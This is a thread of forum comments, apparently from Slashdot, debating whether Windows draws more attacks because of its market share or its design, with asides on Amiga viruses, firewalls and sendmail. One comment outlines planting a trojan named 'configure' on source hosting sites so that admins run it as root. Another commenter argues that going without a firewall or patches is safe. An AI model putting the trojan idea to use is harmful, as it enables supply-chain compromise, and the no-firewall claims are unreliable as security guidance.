A software based firewall running on your computer can indentify which program is actually trying to perform an action.

It may be ok. for your mail program to try connecting to port 25 elsewhere, but when another program tries that it is usually nto ok. at all.

That is a kind of situation that a software firewall can easily deal with while a hardware firewall can't.

Re:What I'm not surprised about

[SillyNickName4me]

> You're confusing your markets.

I don't think so (living in the Netherlands myself, so that is continental Europe)

> At least here in the UK, and in some places elsewhere in Europe, there was a time when the Amiga was the most popular home computer.

No, it was for a little while the best selling machine meant as home computer, but even in 1991 when Commodore went bankrupt, the C64 was overall more popular still, and PCs had taken the 'new' market together with Apple.

> If you decided to stick a virus on some cracked game, and you decided to choose the games platform with a large market share, the Amiga would be the obvious choice.

For gaming it had a decent marketshare for sure, bigger then that of the PC in the late 80s.

What it had specifically is a substantial group of users that just popped in a disk and played a game without a clue about what went on underneath, quite similar to people using Windows machines right now.

I think that the whole problem is more related to how a machine can be used then how popular the machine is. Sure, it needs to be popular enough so that there are some around for spreading a virus, but beyond that it is more about how easy a virus can spread then how popular the platform is.

The same applies to hacking machines. THe total amount of efford is what matters, and there are 2 major factors in that:

1. how easy is it to find a target
2. how easy is it to hack the found target.

The first is easier for Windows then other platforms, but only marginally. Automated scanning makes it extremely easy to locate Linux/MacOS/*BSD/whatever boxes out there.

This means that the major factor is 2. and 1. is only of minor importance. The Amiga argument was just there to point this out (since 1. was easy there as well, people would share with other Amiga users, so finding the next target was not something a virus writer had to worry about at all)

Re:Now open sendmail and config it.

[innosent]

Running that on the few 5.3 systems I've had will put the mail in the send queue, sure, but it won't send it. Once you tailor the configs, it will work, but out of the box your mail just sits there in the queue until it expires. It's partially the config, and partially a bug (ahem, I mean "feature"), but it won't send. It may work if the machine is the MX for the recipient domain, haven't tried that (I would assume it would work), but it won't work if it's not, the sendmail with 5.3 has some nasty DNS issues (It will find the name of the MX for the domain, but won't resolve it).

I never did solve that issue, since I didn't need sendmail on any of the machines, so I found ssmtp.

Re:Now open sendmail and config it.

[innosent]

Just to clarify further, sendmail in 4.x works out of the box for me, 5.3 does not, from base or from ports.

thanks,

[wild_berry]

I'm still waiting for it to finish Doing It Right The First Time, you insensitive clod!

Re:What I'm not surprised about

[corpsiclex]

Just because nobody's written one for *nix yet doesn't mean nobody can. How about a virus/trojan called 'configure', or with a launching component called configure. Upload it to the right places (sourceforge CVS?) and give it the right description and hordes of admins will download it, su to root, run it and go out to lunch.
On saturdays some friends come over and we play hacker wargames, and I plan to use this method this weekend.

No, it is you who is retarded

[FreeUser]

Some Tuesday morning morsels for the troll:

NO ONE stops to think that there's just millions more Windows computers out there? Windows got the most attacks because there's MILLIONS more potential sources of attack.

The intelligent among us (based on your mindlessly pro-microsoft rant/troll, this excludes you) have long considered this.

Your assumption that large deployment and large marketshare are what drives attacks, and successful attacks in particular, is a myth that has been dubunked long ago, by many, many people much more intelligent and knowledgable than you've shown yourself to be.

IIS has a smaller webserver marketshare than Apache, yet IIS is subject to many, many more successful attacks than Apache. This proves the notion that wider deployment and ubiquitiousness are what drive attacks, and not intrinsic vulnerabilities in the design, to be false.

As for the rest of your nonsensical "being more buggy and subjected to more attacks means we'll be more secure than those of you with secure systems today, because we've experienced more harm," that hardly deserves a response, except to say it bears an unsurprising resemblence to the religious notion that "Jesus will return someday and all you sinners will suffer" ... which is unprovable, of course, and could happen if certain mythical and unprovable assumptions turn out to be less mythical than reason would suggest, but in 2000 years of breathless expectation by those who do believe, has still failed to occur.

Windows could end up more secure than Mac OS X, Free/OpenBSD, and GNU/Linux, but I suspect the second comming of Christ will happen first, and I say that as an athiest.

Nice troll, though. It was fun pointing out your stupidity, and a pleasure to discuss once again how poorly designed Microsoft products are, and how absurd the pro-Microsoft arguments are in the face of cold, hard facts, and the inescapable reality that their products are by far the worst in terms of security and stability, have been so for more than fifteen years, and remain so despite years of promises to the contrary.

Indeed, Microsoft's incompetence in software design and OS design with respect to security and stability is only exceed by the incompetence of its astroturfers in trying to convince the knowldegable otherwise.

Reminds me.

[Raven42rac]

We were bringing up a 2k3 server at my friend's house and we knew it was up when we got the sasser message. "Hey, it has connectivity....where's my CD?"

Re:idiot...

[Sique]

Hm... The updates for MediaPlayer are still the only patches that come up with WindowsUpdate everytime I check for patches from my Win2K machine. As a matter of fact, the automatic updates install only the urgent patches anyway, and none of the "recommended".

Re:idiot...

[nmos]

That's probably just as well. I've seen WindowsUpdate decide to automatically update drivers and promptly break the machine.

Re:OSX

[skingers6894]

Hmmm, I got "trolled" for this. Clearly I offended someone.

The point I was trying to make (badly apparently) was that there is this circular argument that pops up every time there is a study that shows Windows as "less secure" than another operating system.

The argument goes - "those other operating systems are only attacked less because there are less of them out there."

There are two points about that:

Firstly the argument should be taken to its logical conclusion: If security is all about market share then the number of successful attacks should represent market share. So do they? The original article stated 0 successful attacks against OS X. Now Apple's market share may be small but it is not 0.

Secondly, what if OS security actually is measurable by market share? I have not heard anyone seriously suggesting that OS X could even grab 10% market share. Therefore if it's true that OS security is tied to market share then you will probably always be 10 times better off with OS X.

The conclusion is that regardless of whether it's about technical superiority or smaller market share or the competing operating systems are more secure than Windows.

Wrong, Wrong, Wrong

[Phil Urich]

Or at least, wrong in my case, on all counts. Trust me, I run enough things that would be fucked up if there was any sort of firewall and I hadn't completely configured it, I know that there's no firewall. I know what each and every process listed in the "Processes" list in the task manager does (and I have a third-party app to get more details, so trust me, I'm not being fooled.

My old ISP didn't block anything. My new ISP is the local campus residence server, and I have explicitly told them that I wanted to completely opt out of any ports being blocked (it was either completely opt out, or let them decide).

I don't download the updates automatically, so I just keep opting out of SP2. No matter how many times I say "do not notify me of this update again," Microsoft keeps trying to tell me what's good for me. I disagree, as you can tell.

Interestingly, I've seen Cain (too lazy to find the link, but if you're wondering what I'm talking about it shouldn't be hard) log what definitely look like a few attempts to get into my computer. With the passwords set how they are, though, it's been impossible, and the examples are just interesting little bits in the log, no actual threat.

I understand why you would call me insane . . . by the logic most people go by, and indeed by what happens to most people (I'm not going to claim I'm even close to an average example), it would seem like this. But, reality is matching up with my ideas. It's not insanity if things end up acting the way I think they do for me. Go ahead, be paranoid if you want to be; I won't even object to your assumptions, you may be right in most people's cases.

But, not in mine.

No XP Firewall, Hell No

[Phil Urich]

I really, really don't like that thing. That's the first thing I turned off, waaaay back.

I figured people would make these assumptions

[Phil Urich]

No, I am not updated to SP2. I have updates on to tell me when they're available, but not to actually download them. See my reply to another comment a bit above.

And, haha, dial-up, it's been over half a decade since I had that. I don't have comcast, no, I had a higher-end aDSL for a long time, and at the moment I'm on broadband-on-steroids (ie. university connection).

*sigh*

[Phil Urich]

I should have elaborated, I guess. So, as I've elaborated here, your assumptions are completely incorrect. Furthermore, I do actually know for a fact that my modem on my old connection at home (it's an older aDSL modem--the newer ones might, actually, but I luckily got one before Telus switched over to the newer system) has no built-in firewall.

And you've hit upon the note I was trying to play with this. People are so very, very sure that without lockdown via extensive firewalling that boxes get taken over inevitiably, so convinced that it's not possible to defend one's computer other than with these over-the-top methods, that you've convinced yourself of things that I know for a fact, to a very extensive degree, are not true. And you probably won't believe me. But my point isn't that any user can survive, sans firewalling. I'm far from a normal case -- when you say that there "are many people out there like you", you're confusing things. The problem is partially that there aren't. I don't mean to sound egotistical, but yeah, I'll concede, though it sounds conceited, that it takes a bit of knowledge to pull off what I've done. But no one is babysitting me (as noted in my comment linked to above, I specifically told my current "ISP" not to).

Security is not a matter of checking off a list of things you have to have set up. There is no single path to having a hassle-free box---just because I don't use the method you think I should most certainly does not mean my method doesn't work. It works for me quite well indeed.

Alright, I've replied enough to my replies, if anyone still thinks I must be actually unknowingly following conventions, or alternatively I'm actually hacked without me knowing it . . . well, they can just keep on believing that. Their assurity doesn't stop me from enjoying the reality they're so sure isn't possible!